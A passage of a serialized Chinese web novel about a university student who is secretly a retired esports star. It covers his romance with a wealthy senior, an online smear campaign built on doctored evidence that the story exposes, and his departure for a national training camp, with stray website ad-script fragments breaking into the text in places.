鹿溪午咬着筷子头弯了眉眼，明朗的笑容令他的五官更加生动，眼眸仿佛在阳光下荡漾的清澈河水，是流动的璀璨。 如果没有桌子底下，小腿上传来的摩挲触感，贺存会更为之沉沦。 “别闹，好好吃饭。” 自从上次贺存表白之后，鹿溪午便是彻底放飞自我了。 他仗着腿长的优势，用脚踝磨蹭着贺存的腿部肌肉，偏偏面上却是一副纯然无辜的模样：“我闹什么了？” 像是到处胡闹，其实是想证实大人爱他的小孩子。 贺存无奈地叹了口气：“我下午还有个会，晚上要陪导师去应酬，现在大概是我俩今天唯一的见面时间，你确定要像……？”贺存抬抬腿，暗示了自己的未尽之语。 “不跟我来个更近距离的接触吗？” 高攻低防的鹿溪午瞬间就老实了，“什，什么近距离？” 贺存从座位上站起，两步走到鹿溪午身边，俯下身环抱了一下鹿溪午。 被雨后青山的松香抱了满怀，鹿溪午面对这个怀抱惊了一瞬，没等他做出反应，贺存便松开了手。 不得不说，贺存在拿捏分寸这一点已经是修炼得登峰造极了。 “充电完成，我得走了。” “诶？这么快？”鹿溪午闻言顿时抬头，“那明天的金融挑战赛，学长去吗？” 在小姐姐暧昧的目光中，贺存淡定地扫完买单的二维码，回头安慰：“当然，明天别紧张，我就在台下。” . C大，学术报告厅。 金融挑战杯的决赛在这里举行。除了C大的参赛队伍之外，还有七支来自其他大学的选手。 跟鹿溪午一队的学长学姐们对自家的投资模型很有信心，觉得有希望能拿到比赛的金奖。 相比之下，鹿溪午就忐忑得多。 评委席里坐着不少人，西装革履，谈笑风生。 坐在最中间的三位大佬是商界新贵，也是本次比赛的赞助商之一，而林修就坐在那三位的旁边。 这场比赛林氏集团也有出资，除了赚些名声之外，更多的是林修听说 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 贺存会露面。 林氏跟华曙的合作一直没有下文，华曙那边又避而不见，这令林修这个项目负责人有些焦急。 用这种方式来找贺存实在是下下之选，不过林修也没有其他的选择了。 无论心中再怎么急切，林修还是一副温文尔雅的面孔，只是眼神时不时瞥向坐在观众席第一排的贺存，暴露了他真实的目的。 只是等林修再一次将视线转回到台上时，他却见到了一个意料之外的身影。 鹿溪午穿着C大橙红色的文化衫，站在队伍的边缘，跟林修的视线相对，皆从对方眼中看出一丝诧异之色。 林修看着鹿溪午身上那件熟悉的文化衫，忽而回想起跟他为数不多的几次会面地点，似乎都在C大附近。 原来，鹿溪午，他也是C大学生…… 相较于林修的震惊，鹿溪午就淡定得多。他按部就班地自我介绍，讲完自己负责的部分内容，礼貌地请评委提问。 中间的评委仔细看了看数据，拿起话筒，声音明显很是惊喜： “从结果来看，滚动3个月周期内组合表现相当不错，稳定性和可复制性都不算太低，虽说仍有一些问题有待商榷，但能做到这两点就已经很厉害了。” 其余评委都赞同地点头，“我记得小林总是这方面的专家，你怎么看？” 话题顿时回到林修身上，他的目光透过舞台灯光落在鹿溪午的身上：“能在本科阶段做到这个地步，真是……英雄出少年。” 林氏集团大厦。 “少年英雄，真是少年英雄啊。” 集团战略规划会议上，黄董指着林修所管辖的子公司业绩图，拍手称赞：“老林，你可真是有福气。” 林沂天淡然地挥手，“小孩子的小打小闹罢了。” “你呀，就是太谦虚。”黄董状似无奈，实则捧杀，“我看说不定等会儿，林修就能带回来跟华曙合作的好消息。” 林沂天知道跟华曙合作的项目多半是黄了。这是黄董设下的陷阱，目的是削弱林修的话语权，延缓林修进董事会的时间。 但他一时不察，已经让林修一脚踩进去了。若是不能谈成跟华曙的合作，不仅是林修，连他自己在集团的威信都会大打折扣。 林沂天心中窝火，却又没有理由发作，只得摆摆手：“说说纽约证交所那边的情况吧。” “申请已经提交上去了，正在等待相关问询，如果一切顺利的话，一个月后就能进入路演阶段。” 林沂天这才满意地点头。 秘书见到林沂天稍霁的神色，连忙开始下一项议程：“各位有什么新的战略方向，可以提出来一起探讨。” “明年的发展方向考虑电竞行业……” “等等！”林沂天突然脸色一变，厉声斥道，“电竞？我们林氏什么时候堕落到这一步了？” 所有人被林沂天的急言令色吓到，先前发言的人额头上滚下了一滴汗珠，诡异的安静在偌大的会议室里蔓延。 黄董倒是分毫不慌：“老林，别发这么大火，都把人吓着了——” “我看电竞到不错，不是才宣布加入奥运会么，这个热点抓得好啊。”黄董笑得和蔼可亲，“老林要是不想做的话，小周哇，你跟我一起做吧。” 林沂天这才回想起昨天那铺天盖地的新闻：电竞成为奥运会项目。 敏锐的商业神经告诉他，这绝对是接下来的热门行业，现在入行说不定还能分到红利。但……什么时候打游戏也能赚钱了？ 左右认知的拉锯令林沂天烦闷不已：“……这个提案我再想想。” 36.采访 学术报告厅后台。 众人如愿以偿地拿到了金奖，正商量着要去那里庆功，所有人都在叽叽喳喳地发表意见： “火锅火锅火锅！我爱火锅！” “你不知道赵文不吃辣吗？换一个吧。” “我没事，可以点鸳鸯锅。” 鹿溪午走在最后跟贺存并排，借着昏暗的光线，手指指尖依次擦过贺存的手背。 贺存反手一把握住鹿溪午作乱的手指，惩罚性地轻捏了捏，“你们选好，我请客。” “耶！”众人顿时欢呼起来。 鹿溪午瞥了眼前方更加热闹的几人，手指不甘示弱地挠了挠贺存的掌心，眼神还挑衅似的瞪回去。 贺存微微一笑，正要说什么却被意料之外的声音打断—— “贺总，能耽搁你几分钟时间吗？”林修面色复杂地看向两人。 鹿溪午这才意识到身后有人，一听到林修的声音，他像是被烫到似的抽回自己的手。 贺存啧了一声，兴趣寥寥地看向林修。这么称呼他的，肯定是工作上的事情。 “你先跟他们一起去吃东西，等会儿我来找你。”贺存嘱咐了鹿溪午一句，才面对林修，“别在这儿聊。” 两人走回学术厅，贺存随意找了一个没人的角落站定，“你想说什么？” 林修此时满脑子都是贺存跟鹿溪午交握的手，下意识地脱口而出：“你跟鹿溪午是……” “我在追求他。”贺存一点也不避讳，甚至神情间还隐隐有些自得。 大概是这个消息的冲击力太大，林修此刻一点也想不起来自己来找贺存的目的，反而恼怒起来：“不行，我不同意！” 贺存是谁？真正的世家子弟，华曙集团未来的掌门人，名下的资产遍布全球，人脉遍及各个领域。而鹿溪午不过是小小的一个学生，无权无势，焉知不是贺存玩玩而已？这简直跟羊入虎口有什么两样？ 面对林修突如其来的反对，贺存面色无波：“小林总又是以什么立场来反对的呢？” “我……”林修一时语塞，“我只是……” “为他好？替他着想？怕到时候我始乱终弃他求告无门？怕他献出一颗真心却不成想齐大非偶？”贺存冷静地将林修的想法一一点破，末了又觉得可笑似的添上一句，“你们既然已决心不想认他，又何必左摇右摆，给人希望呢？” 林修听到这句话的第一反应时皱紧眉头：“你怎么知道的？鹿溪午他告诉你的？” “他什么也没说。”贺存抿了抿唇，“若我是他，绝不希望你们再出现在我面前，打着补偿的旗号，做着施舍的事。” 林修沉默好半天，才用沙哑的声音说道：“我知道了。” 此时的林修理智已经回笼，他摸了一把脸，攒出几分故作的轻松：“这个场合其实不是很适合谈接下来的事情，但……算我叨扰吧，贵司跟林氏的合作还有商量的余地吗？” “之前确实有过合作的意向，但是后来项目方向变化，后续合作就不太必要了。”贺存说得很委婉，“如果以后有机会的话。” 虽说早有准备，但听到这个结果林修内心还是蓦然一沉，失去了跟华曙合作的机会，意味着前期一个月的准备都白费了，就知道黄董那只老狐狸怎么可能把到手的肥肉让出来。 想到之前贺存对鹿溪午的维护，林修意味不明地瞥了眼身旁的人：“爱情的力量果然很伟大。” 贺存听出了这句话的弦外之音，本来已经准备离去的脚步顿时停住：“在商言商，小林总。我还不至于让私交影响了工作，那真是太不专业了，不是吗？” “是啊，那太不专业。”林修感叹地附和一句，“贺总，期待跟下次合作了。” 贺存没回答，沉默地离开了。 林修知道那句话已经把贺存得罪了，但他就是要的这个效果，以防之后林沂天知道鹿溪午和贺存的关系后，起了走捷径的心思。 不过刚才贺存有句话确实说得对，自己左摇右摆的态度，其实不仅是对鹿溪午的伤害，也是对小奚的伤害吧。 林修叹了口气，想起最近这一段时间林奚的反常就头疼：算了，还是先回公司吧。 贺存来到饭桌上的时候，气氛正热闹。 众人到最后还是选择了吃火锅，只不过是花胶鸡火锅。金黄色的锅底热气腾腾，香气中夹杂着几分海鲜的鲜甜，桌上已经空了好几个装菜的碗碟。 鹿溪午正在卖力地啃鸡腿，见到贺存也只是朝他挥了挥手，又继续与鸡腿相亲相爱。 见到贺存打完一圈招呼，在自己身边坐下后，鹿溪午才悄咪咪地靠过来，全身弥漫着食草动物的警惕：“你们说了什么？” 鹿溪午并不知道贺存已经知道了他与林家的关系，他有点害怕林修会在贺存面前乱说。 “没什么，只是一些工作上的事情。”贺存神色如常，看不出丝毫破绽。 “他只跟你聊了工作吗？”鹿溪午追问。 贺存夹了一筷子竹荪放进鹿溪午的碗里，打趣道：“你好像很关心来找我说话的那个人呢？” 鹿溪午蹭的一下子坐直了，像是一只受惊的小鹿从地上弹起，“我才没有呢！我是在关心你！” 贺存也不戳穿他，“赶紧吃吧，都凉了。” 你要什么时候才能真正相信我，对我和盘托出呢？小斑比。 . 异界之颠代言人发布会。 这是异界的官方活动之一，算是正式的把林奚这个代言人介绍给玩家。 官方请了不少电竞选手和直播大V来给林奚站台，甚至在直播间进行了大量的抽奖活动来维持热度。 目的确实达到了，不少玩家和粉丝待在直播间你一句我一句地刷弹幕。 【来看奚奚，奚奚绝世美颜！】 【讲真这代言人实力确实可以，一手纯色梦魇玩得贼溜】 【前面别忘了这个嘻嘻搞出过什么事，“异界职业选手大团建”了解一下？】 【这都澄清过几回了，我家奚奚是被人算计了，他也是受害者】 【我是D神粉，单纯不喜欢这个绿茶嘻嘻】 【哪来的黑粉，别给D神招黑】 【把奚奚绝 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 美刷起来！】 …… 导播看着直播间半黑半红的弹幕，揉了揉太阳穴，深吸一口气，打开对讲机：“舆论组注意弹幕，该禁言禁言，别让两边粉骂起来。” 张青婉也在盯着实时的舆论监控，眉头紧锁，似乎是想到了什么，神情不大好看—— “青婉姐，您是知道异界的电竞选手deer的吧。” 那天林奚来找张青婉时，他状态就已经很不对劲了。 “知道啊。”张青婉谨慎地观察着林奚的表现，“怎么了？” 在那个狭小的休息室，林奚坐在她的面前，原本清澈的眼眸里爬满了红血丝，像是蛛网一般：“我要对付他，您会帮我的，对吧？” 张青婉理智尚存：“为什么呢？这似乎没有什么好处。” “不，你不明白。”林奚死死地盯着张青婉的眼睛，眼睛里孤注一掷的疯狂令张青婉冷汗直流。 “这个世界上，我和他不、能、两、存。” “青婉姐，你会帮我的，对吧？” …… 张青婉握着手机，手指挣扎着，点了发送的按键。 现在活动到了尾声，最后一个环节就是林奚的个人采访，按台本要求，只要谈论一下自己跟异界之巅这个游戏的渊源就可以了。 林奚坐在沙发上，微笑着看向主持人，有条不紊地回答她的问题，很有大明星的风范。 【奚奚真的超有礼貌的】 【不愧是C大学霸，谈吐都好有修养】 【这个代言人官方选得确实不错哦】 弹幕被清除了一波，剩下的都是对林奚有利的言论，看着到没有那么乌烟瘴气了。 “最后一个问题，请问奚奚，你有关注异界之巅的赛事吗？如果有的话，你有喜欢的电竞选手吗？” 林奚微微一笑：“当然有啊，我可是场场不落的忠实粉丝呢。不过要说最喜欢的话……还是TD战队吧，他们中的每一个人我都很喜欢。” 林奚的表现就像是每一个谈到偶像的小粉丝一样，话匣子一下子就被打开了，谈了每一个TD成员的高光表现。 “虽然……虽然TD战队秋季赛失利，但是我相信他们一定会重整旗鼓，尽力弥补D神忽然退役造成的不良影响，再次夺冠的！” 【不是我的错觉吧，这人说话怎么茶里茶气的？】 【客观来说，D神突然退役确实是造成TD此次比赛失利的原因】 【我就说deer是逃兵吧？他人又没病没灾的，退役不是给战队找麻烦么】 【退役是个人选择吧？有什么好指摘的？】 【个人选择是不假，但没必要故意在秋季赛开赛之前吧？】 主持人没有意识到林奚话语中的不对，反而积极地推进流程：“哈哈，看来奚奚是TD战队的铁杆粉丝呢！对TD战队的战绩简直是如数家珍，那么你对最近官宣的奥林匹克运动会的电竞项目有什么看法吗？” “看法？”林奚思考了一会儿，“希望教练组能好好选拔国家队队员，争取拿下这枚金牌。华国队，加油！” 37.身份 原本林奚在采访中的这段话还没有引起多大的讨论度，直到异界电竞项目的官方发布了奥运集训营的拟邀名单—— 除了活跃在赛场上的大神选手之外，还有一个意料之外情理之中的名字，deer。 评论区瞬间炸裂。 【是我眼花了吗？D神？我没看错吧！】 【deer不是退役了吗？还能上的？】 【退役了也可以召回嘛，又可以看到D神了嘿嘿嘿~】 【嗯……毕竟国家队，deer不合适吧……】 【电子竞技，实力第一，deer大满贯绝对配进国家队好吧】 【deer临阵脱逃，背弃TD，我说错了吗？】 【只是选拔集训，又不是真正的国家队名单，吵什么？】 …… 诸如此类的言论甚嚣尘上，热度一直居高不下。 维护鹿溪午的粉丝不少，黑粉和水军一时竟然没有占据到舆论主场。 恰巧，此时微博上突然出现了一个声称自己是“知情人士”的网友，ID为“某知名战队前工作人员”，他爆出一个“惊天大瓜”—— [博主是某著名战队的前工作人员，具体什么职位就不说啦，保护三次信息。我想说的是，某个前中单选手的退役确实有内幕。 该选手的合约只签了两年，这是战队内部众所周知的事情。后来该续约的时候，该选手漫天要价，俱乐部高层拒不答应，于是该选手只好退役，跟某直播平台签了待遇丰厚的条约。下面放证据： [录音.m4a][直播合同.jpg] 博主只想说公道自在人心，至于某选手该不该进国家队，希望官方能好好考虑一下。] 录音有些模糊，声音忽近忽远，只能依稀辨认出“退役”“价钱”“不能太贪”等字眼。 但熟悉TD战队的粉丝还是能辨认出对话的两人应该是鹿溪午和徐泽。 此条信息一出，让本就没有平息的舆论霎时爆发，像是在滚油里泼下的一瓢热水，各种消息如雪花一般淹没了众人。 【好家伙，我直呼好家伙，这一个大瓜有点东西】 【这下deer是TD罪人的身份实锤了吧？粉丝还能怎么洗？】 【抵制deer进入国家队训练营！】 【抵制抵制抵制】 还是有些理智的粉丝试图讲道理： 【这个聊天记录没头没尾，连头像跟ID都没放出来，真的有人信？】 【笑不活了，这叫实锤？就这点证据？】 【哪个战队的工作人员能接触到俱乐部老板的聊天记录啊？逗我呢？】 【录音模糊，聊天记录指代不清，哪怕合同是真的又怎样？头部主播的合同待遇好很正常吧？】 但很快，这些声音就淹没在水军和不明真相的路人当中。 【老早就觉得这个deer有问题了，别人都能大大方方的出镜，就他一个人戴什么口罩啊？】 【只关注比赛，一直觉得deer技术不错，但做人是真不行】 【这种人还去什么国家队？算了吧】 【希望官方能慎重考虑吧？毕竟也不能全看技术不是？】 …… 林奚盯着手机里的评论，眼珠猩红，嘴角咧得大大的，丝毫没有在闪光灯下的美感，反而一种扭曲的妖异。 “鹿溪午……” 张青婉很是担忧，这条录音是他们在TD战队前保洁员的手里买回来的，经过处理，成了抹黑鹿溪午的证据之一。 但终究是个假证据，一旦被人澄清，他们可就羊肉没吃到，反惹一身sao。 “我不知道你为什么这么想针对deer，但是只此一次机会，不管成没成功，我都不可能再帮你第二次。” 张青婉毕竟在娱乐圈摸爬滚打过二十几年，她或许会一时被林奚唬住了，但不会一直被林奚唬住：“这次的我帮你善后，再有下次，我直接告知小林总。” “知道了。”鹿溪午何尝不知道自己这次是兵行险招，但他已经没有办法了，再不动作，林家就没有他的容身之处了。 “放心吧青婉姐，这条录音他没办法澄清的。”林奚笑得阴狠，“网友们最喜欢看什么？天才落入泥潭，神明跌下神龛，摧毁一个神话多么容易啊。高位者一旦沾上污渍，就没那么容易洗掉了。” “网友只会沉浸在屠神的快.感中，谁会在乎真相是什么？” 只能说林奚对公众的心理把握得十分精准，路人不会深挖真相，人云亦云才是本质。 各大营销号纷纷下场带节奏，一时间＃deer罪人的词条居高不下。 【急死我了，TD官博快出来澄清啊！】 【这波节奏明显有人在拱火吧？】 【看俱乐部怎么说吧，这么大的风波，不能装看不见的】 作为deer的骨灰级粉丝，周有柏是第一个冲锋在前的人，“敢黑我D神？喵的，通通给我滚！我的D神我守护！” 圈内的好友纷纷发来关心的询问：“没事吧deer？你是得罪谁了？” TD的新中单陆云，冲浪八级选手，看见这个热搜的第一时间就找来了救兵：“教练，不好了——” 徐泽整个人都快炸了：“那算什么证据啊！这不是上次你从C大复学回来，咱们在俱乐部的闲聊吗？” 鹿溪午却意外地冷静，甚至还能分出心思抱怨耽搁了他期末复习的进度。 “冷静冷静，TD打算怎么办？” “肯定要澄清啊。”徐泽没好气道，“最简单的方法就是公布你退役的原因，就是看你愿不愿意了，毕竟可能会对你的生活造成影响。” 鹿溪午叹了口气，“都到这一步了，再隐瞒也没有意义了——对了，那个造谣的博主呢？” “法务已经截图了，老子要告死他丫的！”一提到造谣的人，徐泽恨不得生吞了对方，“敢跟爸爸我玩阴的？我不得让他掉一层皮！” “先澄清吧，你看网上都快乱成什么样子了。”鹿溪午皱眉，“不过，我总觉得这个人背后有人指使……” “确实，这水军营销，感觉不是我们圈子里的手笔。”徐泽摸摸下巴，“回头我让人好好查查。” 当晚，TD战队俱乐部的官博终于结束了装死的状态： [听说有人在质疑D神退役的原因？既然如此，小博就不装啦！我家D (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 神退役是因为要去上学啦，没错！上学！] [C大录取通知书.jpg][复学证明.jpg][学生证.jpg] [是的，我家D神就是这么优秀！] 紧接着TD战队的队友和鹿溪午在圈内的好友在评论区的回复。 我不是徐泽：【其实是我加价都留不住的学霸，泪目】 TD-cloud：【师父威武！】 GH-sad：【凭一己之力拉高了整个异界职业选手的平均学历，佩服佩服】 于是乎热搜又一次炸了。 【我去，学霸诶】 【D神不愧是D神，呜呜呜】 【黑子在哪里？你出来我们再来战八百回合！】 【只有我一个人觉得deer好帅吗？本颜狗满足了】 【楼上的姐妹，不止你一个人！】 【强烈要求D神露脸直播，对我的眼睛很友好】 【喵的，那个造谣的要追究法律责任的吧】 【对，追究法律责任！互联网不是法外之地】 看见事情的发展跟预想的一致，TD的官博紧接着发了第二条微博： [我们对ID为“某知名战队前工作人员”的微博已经进行了相关取证，后续会采取相应的法律手段，谢谢大家的关心。] 而那位某知名战队前工作人员的博主早已灰溜溜地删除了微博，关闭了私信，整个一副装死的样子。 张青婉早就在势头不对时做了切割，避免之后会牵连到自家。 林奚狠狠摔了手机，他抱住自己的脑袋：完了……这要是让爸爸知道了，他一定会抛弃自己，选择鹿溪午的！ 而张青婉站在一旁不停地给不同的人打电话，并没有注意到林奚的异常。 鹿溪午想过公开身份的后果，但他忘了一个人，周有柏！ 鹿溪午颤颤巍巍地接起来自周有柏的夺命连环call：“喂？” “……” 鹿溪午有点心颤：“喂？班长……” “你……” 完了完了完了，赶紧说点什么呀鹿溪午！ 鹿溪午脑子疯狂运转，语速飞快：“你别生气我不是故意要瞒你的实在是我的粉丝太可怕了我想好好学习不想被二次的事情打扰所以才出此下策班长请你原谅我吧——” “不！”隔着电话鹿溪午都能感受到来自周有柏的怒气。 难道他就要失去这个朋友了吗？鹿溪午有点悲伤。 “——除非你给我to签。” 鹿溪午：……？ 这就是粉丝的世界吗？ “可，可以啊，你要我写什么都行。”鹿溪午赶紧承诺，“对不起啊，班长。” “嘿嘿嘿，你知道我现在有多激动吗？D神诶！是我同学诶！次元壁破了你知道吗？天呐，我感觉我今天睡不着了，我想去操场跑十圈！” 周有柏一如既往地没心没肺，“我明天，哦不，今晚！我就要在超话里炫耀一百遍！一百遍！” 鹿溪午瑟瑟发抖：“好的呢班长，我明天，哦不，今晚就把给您的to签写了，您看如何？” 周有柏：“哈哈哈哈哈哈哈哈——” 38.启程 当林修进入林沂天的办公室时，他看见了自家父亲面前赫然放着鹿溪午的照片以及那张醒目的录取通知书。 果然，网上的风波闹得沸沸扬扬，爸爸不可能不知道。 林修原本准备好的说辞再也没了用处，而林沂天即使面对大儿子也没有开口的打算，父子俩一时无话。 “父亲，您是想……认回鹿溪午吗？”林修率先受不了沉默的氛围，斟酌地开口。 林沂天终于动了，多年商海的沉浮所带来影响早已体现在他的脸上。优越的五官在长年累月的计算得失中多少有些变形，尤其是当他抬眼看人时，眼底总有几分老练的狠戾。 “怎么？你也觉得他比林奚更像我们林家的人？” 此话一出，林修的脸色瞬息万变，他脑海里闪过林奚的脸庞，开口的语调因急切显得有些尖利：“您是真的……？！那小奚呢？” “现在是纽约上市的关键阶段，我不会做多余的事情。”面对儿子的质问，林沂天有些不快，但他并没有表现出来，面上依旧是冷酷无情的模样，“但是在完成这件事之后……” 林修狠狠攥紧了拳头，尖锐的疼痛从掌心经由神经中枢传递至大脑。他听懂了林沂天的未尽之语，“……我不明白，为什么，为什么一定得丢下小奚？” “谁说要丢下他了？林家可不想背上薄情的名声。” 林修眸色一亮，上前两步：“那——” “但、是——” 林沂天挥挥手打断了林修的话，古井无波般的眼底是一片冰冷：“养子跟亲子还是有区别的，我们不做赔本的生意。这点，你要清楚，嗯？” 最后一个字落下时，林修能清晰地感受到来自林沂天的压迫感，这是带有警告的意思了。 林修不甘地咬咬唇，只好低头回应：“我知道了。” 看着林修的背影消失在门前，林沂天右手随意搁在桌上，失神地盯着手边的相框，那是一张林家的全家福，最右边的女人笑得一脸温婉。 林沂天的手指点了点女人的笑脸，眼底并无太多的温情，自言自语道：“林修这孩子像你——太心软，总是不成事的。” . 公开身份后，除了走在路上偶尔会遇上要求合影的粉丝，鹿溪午的生活其实并没有多大变化。 这天是C大经济学院期末考试的最后一天。鹿溪午背着单肩包从崇德楼出来，一眼就看见了那个等在树荫下的修长身影。 今日有难得的暖阳，透过树荫打在贺存的身上，他的半张脸都浸在灿灿的日光中。身后拖出一道长长的影子，在雪色的掩映中更显挺拔，矜贵，傲然且孤冷。 贺存偏过头，一眼就注意到了鹿溪午，当下整个人都笑得活泛起来：“考完了？” “嗯。”鹿溪午点点头，走到他的身旁，“你今天不忙了吗？” 最近期末，贺存也在忙着自己学业和工作，已经很长一段时间没有跟鹿溪午见面了。 贺存单手接过鹿溪午的包，揉揉太阳穴，叹了口气：“还好了，有些事情可以让其他人接手了——对了，那个造谣的混蛋已经查到他的下落了。” 鹿溪午惊奇地挑高了眉毛，他很少听见贺存骂脏话。或许是家教的原因，无论贺存做什么，都是矜贵淡然的样子。 “是一家水军公司旗下的账号，但对方很专业，公司是空壳，账号的登录IP在国外，要想咬死他们还要费点功夫。”贺存的语气森森，“至于背后的人，迟早会把他揪出来的。” 鹿溪午微微一笑，安慰道：“学长已经很快了，TD那边还没有什么进展呢。” 说到前些日子网络上的风波，贺存愧疚不已：“抱歉，当时我没有第一时间站出来……” “怎么又说起这个了？”鹿溪午停下来，满目的不赞同，“这件事跟你没关系，你不需要道歉的。” 事发时贺存在华曙开了一天的会，等他知道这个消息时，TD那边就已经解决完了。 虽说贺存第一时间没有动作，但不代表他会放过那些恶意中伤鹿溪午的人。 贺存歉意地反握住鹿溪午的手：“这件事我一定会查清楚。” “知道了，贺总。”鹿溪午冲他眨眨眼睛，明澈的眼眸就好似清亮的湖水，能倒映出所有的山川，“明天下午我飞海滨市，你来送我吗？” 贺存知道这是鹿溪午有心在宽慰他，他自然无有不应：“好的，我的小斑比。” 集训营的地点在滨海市，跟鹿溪午所在的京城隔了大半个华国，不知道是不是徐泽的功劳，集训的集合时间刚好是鹿溪午考完的第二天。 于是，鹿溪午定了当天中午去海滨市的航班。而贺存为了彰显自己的男友力，晚上就给鹿溪午的座位升了舱。 “至于吗？算上值机时间也就三四个小时。” “头等舱肯定要舒服得多。你还可以趁着这个时间在飞机上睡个午觉。” 本来在忙着收拾行李的鹿溪午警觉地抬头：“你昨晚看我直播了？” “还说呢，是谁昨天答应我回家就好好休息的？结果直播播到凌晨。”贺存冷哼一声。 闻言，鹿溪午顿时皱了一张脸，求饶道：“补时长嘛，集训肯定不让播的……” “快收拾吧，别等会儿误了飞机。”贺存看了眼手表，正好9点。 鹿溪午加快了动作，登登登的脚步声回响在房间里。 家里开着暖气，鹿溪午只穿了一身薄薄的家居服，脚上踩了一双小熊□□的毛绒拖鞋，一截白皙的脚踝暴露在空气中，随着鹿溪午步伐的走动，凸起的骨骼和经络线条影影绰绰，兼具力度和韧劲。 偏偏鹿溪午还一副无知无觉的样子，啪嗒啪嗒地在房间里窜来窜去，像鹿在林间草地上轻巧落下的蹄。 贺存的视线落在鹿溪午来来回回的身影上，饶有趣味地盯着看了半晌，施施然开口：“对了，你还没吃早饭吧？我带了新鲜的馄饨，我先去煮着，你等会儿来吃。” 说完，不等鹿溪午反应，便走出了卧室。 鹿溪午原本收拾东西的动作顿时停住，倏而放下，目光转向自己的九分家居裤：不对呀，怎么一点反应都没有？< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 贺存走进了这所房子最不常用的房间——厨房。他四处打量了一会儿，从柜子里翻出一口锅来，慢条斯理地准备烧水煮馄饨。 鹿溪午见贺存是真的开始煮馄饨，只好恨恨地磨了磨后槽牙。 十分钟后，贺存端着两碗冒着热气的馄饨，正好遇上换好衣服的鹿溪午从卧室推着行李箱出来。 “吃吧，完了正好送你去机场。” 鹿溪午用勺子拨着碗里的青菜：“我听徐泽说，集训是封闭训练，只有晚上九点到十点基地才会开放信号……” “真辛苦。”贺存微微一笑，“你要保重身体。” 鹿溪午嘴里的馄饨一噎：他不是这个意思！ “我们集训得有足足一个月呢，都没有假期的。” 贺存忍笑：“嗯，到时候我来接你——诶，那时候得快过年了吧？” 鹿溪午：…… 鹿溪午：不是，我们即将分开三十天，你都不说点什么吗？ “是、啊。”这两个字像是从牙缝里挤出来的。 鹿溪午一撂勺子：“吃完了吧？那我们走吧。” “不急这一会儿，我去把碗洗了。”贺存像是半点没发现鹿溪午周身的低气压似的，真的把碗洗了才甩着手走出厨房。 “走吧。” 一路上，鹿溪午心梗不已，简直不想多说一句话。直到他推着行李走进安检门时才发现不对。 “你怎么还跟着我呢？”鹿溪午指着前面的安检门，“都到安检门了。” 贺存这才不慌不忙地从口袋里掏出一张机票，“巧了，我就坐你旁边。” 鹿溪午：？？？ 鹿溪午：！！！ 他的心情像是经历了过山车似的大起大落：“你怎么——” 贺存用食指背部蹭了蹭鹿溪午的脸侧，眼眸含笑：“不生我气了吧？” “我什么时候生气了？”鹿溪午干咳两声，赶紧转移话题，“你真的就这么走了？” “嗯。”贺存表情严肃，“我准备和你私奔了。” “别闹，我说真的！”鹿溪午找回自己的理智，“你的工作怎么办？你就这么走了可以吗？” 贺存耸耸肩：“我做完了——不然你以为为什么前段时间我这么忙？” 说完，贺存认真地看向鹿溪午：“在你给我一个明确的答案前，我可不能让你跑了。” 鹿溪午同样认真地回望贺存：“知道了，等集训结束吧，我一定会好好想清楚的。” 贺存回以微笑：“走了，出发吧。” “诶，不是我说，你这样临时飞过去准备住哪儿啊？集训基地不允许外人进的。” “实不相瞒，在下在滨海市有一套房产。” “我还准备问一下你的换洗衣服来着，看来不需要了……” “是的，都是新买的。” “那你在滨海市要是没房子的话，是不是会现买一栋啊？” “滨海市最大的五星级酒店，是我家的产业。” “……万恶的资本家。” 39.集训1.0 鹿溪午是最后一个到海滨市的集训基地的。 大多数都是赛场上常见的老熟人，见到鹿溪午都围上来打招呼。 “来得挺快？”张风回双手环胸，狭长的桃花眼微眯，一副要睡不睡的模样。 张风回跟鹿溪午同属与TD战队，是昔日赛场上令人闻风丧胆的中野组合。 见到老朋友，鹿溪午也是轻笑一声，放下行李一摊手：“想你了呗。” 张风回抖了抖身上的鸡皮疙瘩：“噫～煽情可不是你的风格。” 鹿溪午微微一笑，环视周围，都是自己熟悉的面孔。 GH的上单sad朝鹿溪午举了举手里的保温杯：“欢迎回来。” “好久不见。” 老对手NH的射手dollar啧了一声：“咱们成了队友，你总算是不能抓我了。” “哪次pound不是把你看得紧紧的？你的射手生存环境还不够好吗？” pound摊摊手：“谁叫你们TD的gank太可怕呢。” 鹿溪午跟张凤回默契地对视一眼，同时失笑：“得了吧，谁敢让dollar发育起来呀。” 于是，众人的讨伐对象顿时又变成NH。 齐光茂坐在一旁远远地看着这一切，看着人群中心游刃有余的鹿溪午，他不禁想起了林奚。 这些日子林奚可谓是心惊胆战，如果不是忽然冒出一个鹿溪午，林奚根本不会这么用尽心机地讨好林沂天，就连好不容易得来的资源也要林沂天点头才行。 从小到大，林奚什么时候过过这样的日子？！ 齐光茂一想起最近跟林奚通话时的低落的嗓音，便从心底里生出一股疼惜来。 这可是从小就如同天鹅一样骄傲的林奚啊！ 他还记得自己初见林奚时，对方身上那股从容淡然又高贵神秘的气质，如同烙铁一般深深烙印在自己的心里。 哪怕后来自己去了国外，见过不少形形色色的人，也没有哪一个能像林奚一样让自己心动不已。 齐光茂握紧拳头，心中暗暗发誓：他一定会让鹿溪午付出代价！ 众人聊得热火朝天，鹿溪午却感受到了一股犹如实质般的视线。他抬眼望去，只见离众人远远的地方，一个身穿灰色卫衣的男子与他遥遥对视。 视线相撞的一瞬间，鹿溪午微微一怔，这人他认得。 是经常活跃在北美赛事上的华侨选手，似乎也是打中单位的，好像叫什么……Abelard？ 未等鹿溪午露出友好地一笑，齐光茂便率先移开了视线，转身离开了大厅。 北美赛场的选手都这么有竞争意识的吗？鹿溪午不解地收回目光，心头不禁泛起了嘀咕。 徐泽眼看时间不早了，赶紧把鹿溪午从人堆拎出来，催着人去收拾行李：“住宿在后边，我先带你去安顿——两人间，你跟张风回一起。” 鹿溪午随口应了，又想起人群里齐光茂对他投来意味不明的一瞥，问道：“刚才边上那个穿卫衣的就是来自美国GOD战队的Abelard？” 